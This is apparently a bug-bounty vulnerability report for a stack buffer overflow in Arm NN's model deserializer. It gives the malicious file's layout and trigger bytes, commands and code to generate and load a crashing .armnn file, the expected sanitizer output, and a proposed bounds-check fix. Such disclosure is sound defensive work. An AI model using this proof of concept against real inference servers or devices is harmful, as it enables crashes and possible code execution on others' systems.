YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Arm NN Deserializer β Stack Buffer Overflow via dimensionSpecificity
Target: ARM-software/armnn
File: src/armnnDeserializer/Deserializer.cpp ~lines 746-760
Severity: HIGH (memory corruption, potential RCE / DoS from malformed model file)
Bug class: CWE-121: Stack-based Buffer Overflow
Platform: Protect AI / huntr.com bug bounty β authorized security research
Vulnerability Description
The Arm NN Deserializer reads TensorInfo objects from .armnn FlatBuffers
files. When a TensorInfo has a dimensionSpecificity field, the deserializer
copies its elements into a fixed-size stack array:
// Deserializer.cpp ~line 746
bool dimensionsSpecificity[armnn::MaxNumOfTensorDimensions]; // MaxNumOfTensorDimensions = 5
std::fill_n(dimensionsSpecificity, armnn::MaxNumOfTensorDimensions, true);
if (tensorPtr->dimensionSpecificity() != nullptr)
{
auto dimensionSpecificity = tensorPtr->dimensionSpecificity();
size = dimensionSpecificity->size(); // [1] attacker-controlled
for (unsigned int i = 0; i < size; ++i)
{
dimensionsSpecificity[i] = dimensionSpecificity->Get(i); // [2] NO BOUNDS CHECK
}
}
Root cause:
- At
[1],sizeis taken directly from the FlatBuffers vector length with no upper-bound check. - At
[2], the loop writes todimensionsSpecificity[i]for alli < sizewithout checkingi < MaxNumOfTensorDimensions(5). - When
dimensionSpecificitycontains β₯ 6 elements, the write at index 5 goes past the end of the 5-element stack array, corrupting adjacent stack memory.
Verifier bypass:
The FlatBuffers structural Verifier validates byte-level integrity (offsets,
alignment, vector byte lengths), but has no knowledge of application-level
semantic constraints like MaxNumOfTensorDimensions = 5. A file with a
6-element dimensionSpecificity vector is structurally valid FlatBuffers and
passes the Verifier without triggering any error.
Impact
- Memory corruption on the call stack of any process that loads the file.
- With sufficient control (e.g., larger vectors writing carefully crafted bool values to the stack), a return address or function pointer on the stack can be overwritten, leading to arbitrary code execution.
- At minimum, the overflow causes a crash / DoS when loading an attacker- supplied model file β relevant in any inference server, edge device, or CI pipeline that accepts user-provided Arm NN models.
PoC File Structure
malicious.armnn β 436-byte FlatBuffers file
SerializedGraph
layers: [
AnyLayer { layer_type=InputLayer(9), layer=InputLayer {
base: BindableLayerBase {
base: LayerBase { index=0, name="input", type=Input }
layerBindingId: 0
}
outputSlots: [ OutputSlot {
index: 0
tensorInfo: TensorInfo {
dimensions: [1] <- 1 dimension
dataType: Float32
dimensionality: 1
dimensionSpecificity: [1,1,1,1,1,1] <- 6 elements (TRIGGER)
}
}]
}}
AnyLayer { layer_type=OutputLayer(11), layer=OutputLayer {
base: BindableLayerBase {
base: LayerBase { index=1, name="output", type=Output }
layerBindingId: 1
}
inputSlots: [ InputSlot {
index: 0
connection: { sourceLayerIndex=0, outputSlotIndex=0 }
}]
}}
]
inputIds: [0]
outputIds: [1]
The 6-element dimensionSpecificity vector is embedded at buffer offset 232:
06 00 00 00 01 01 01 01 01 01
Reproduction
Generating the Malicious File
source /tmp/mlresearch/bin/activate
pip install flatbuffers
python3 poc_armnn_dimspec.py
# Outputs: malicious.armnn
Triggering the Crash (requires unpatched Arm NN build)
Option A β Python (if pyarmnn wheel available for your platform):
import pyarmnn as ann
parser = ann.IDeserializer.Create()
parser.CreateNetworkFromBinaryFile("malicious.armnn") # crashes here
Option B β C++:
#include <armnnDeserializer/IDeserializer.hpp>
int main() {
auto parser = armnnDeserializer::IDeserializer::Create();
parser->CreateNetworkFromBinaryFile("malicious.armnn"); // OOB write
}
Option C β Arm NN unit test binary:
./UnitTests --run_test=DeserializeNetwork/LoadsFromFile -- malicious.armnn
Expected Crash
With AddressSanitizer or Valgrind:
==ASAN: stack-buffer-overflow on address ...
WRITE of size 1 at offset 5 of 5-element array dimensionsSpecificity
#0 armnnDeserializer::Deserializer::ToTensorInfo(...)
Deserializer.cpp:756
Proposed Fix
Add a bounds check before the loop (one-line fix):
if (tensorPtr->dimensionSpecificity() != nullptr)
{
auto dimensionSpecificity = tensorPtr->dimensionSpecificity();
size = dimensionSpecificity->size();
// FIX: reject files with oversized dimensionSpecificity
if (size > armnn::MaxNumOfTensorDimensions)
{
throw ParseException(
fmt::format("TensorInfo has {} dimensionSpecificity entries; "
"maximum is {}.",
size, armnn::MaxNumOfTensorDimensions));
}
for (unsigned int i = 0; i < size; ++i)
{
dimensionsSpecificity[i] = dimensionSpecificity->Get(i);
}
}
Alternatively, replace the fixed-size stack array with a std::vector and
perform a runtime resize, or use the incoming size with std::min:
size = std::min(dimensionSpecificity->size(),
static_cast<flatbuffers::uoffset_t>(armnn::MaxNumOfTensorDimensions));
Files
| File | Description |
|---|---|
poc_armnn_dimspec.py |
Python script that generates the malicious .armnn file |
malicious.armnn |
Pre-generated 436-byte malicious FlatBuffers model file |
README.md |
This document |
References
- ArmNN source:
src/armnnDeserializer/Deserializer.cpp - ArmNN schema:
src/armnnSerializer/ArmnnSchema.fbs armnn::MaxNumOfTensorDimensionsdefined ininclude/armnn/Types.hppas5- FlatBuffers Verifier: https://flatbuffers.dev/md__cpp_usage.html#verifier
- CWE-121: https://cwe.mitre.org/data/definitions/121.html